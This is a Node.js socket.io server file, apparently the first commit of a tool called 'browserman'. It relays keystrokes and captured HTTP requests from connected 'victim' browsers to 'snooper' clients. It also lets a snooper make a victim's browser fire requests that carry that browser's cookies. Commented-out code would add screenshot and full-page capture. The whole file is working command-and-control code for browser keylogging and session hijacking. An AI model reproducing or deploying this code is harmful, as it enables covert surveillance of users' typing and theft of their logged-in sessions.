initial commit
[browserman.git] / jssrv / jssrv.js
1 #!/usr/bin/env node
2
3 if (process.argv.length !== 3) {
4   console.error('invocation: ./jssrv.js <http_port>')
5   process.exit(1)
6 }
7
8 var express = require('express')
9 var app = express()
10 var server = require('http').createServer(app)
11 var io = require('socket.io').listen(server)
12
13 app.use(express.static(__dirname + '/public'))
14
15 server.listen(parseInt(process.argv[2]))
16
17 var snoopers = []
18 var victims = []
19
20 io.sockets.on('connection', function(socket) {
21   /*socket.on('screenshot', function(data) {
22     // data.data
23     snoopers.forEach(function(snooper) {
24       snooper.emit('screenshot', {data: data.data})
25     })
26   })
27   socket.on('fulldom', function(data) {
28     snoopers.forEach(function(snooper) {
29       snooper.emit('fulldom', {data: data.data})
30     })
31   })*/
32   socket.on('keypress', function(data) {
33     snoopers.forEach(function(snooper) {
34       snooper.emit('keypress', data)
35     })
36   })
37   socket.on('register_snooper', function() {
38     if (victims.indexOf(socket) === -1) snoopers.push(socket)
39   })
40   socket.on('register_victim', function() {
41     if (snoopers.indexOf(socket) === -1) victims.push(socket)
42   })
43   socket.on('disconnect', function() {
44     var i = snoopers.indexOf(socket)
45     if (i !== -1) snoopers.splice(i, 1)
46     i = victims.indexOf(socket)
47     if (i !== -1) victims.splice(i, 1)
48   })
49   socket.on('get_url_cookies', function(cmd) {
50     var victim = victims[0]
51     if (!victim) return
52     victim.emit('trigger_request', cmd)
53   })
54   socket.on('request', function(data) {
55     console.log('got req')
56     snoopers.forEach(function(snooper) {
57       console.log('sreq')
58       snooper.emit('request', data)
59     })
60   })
61 })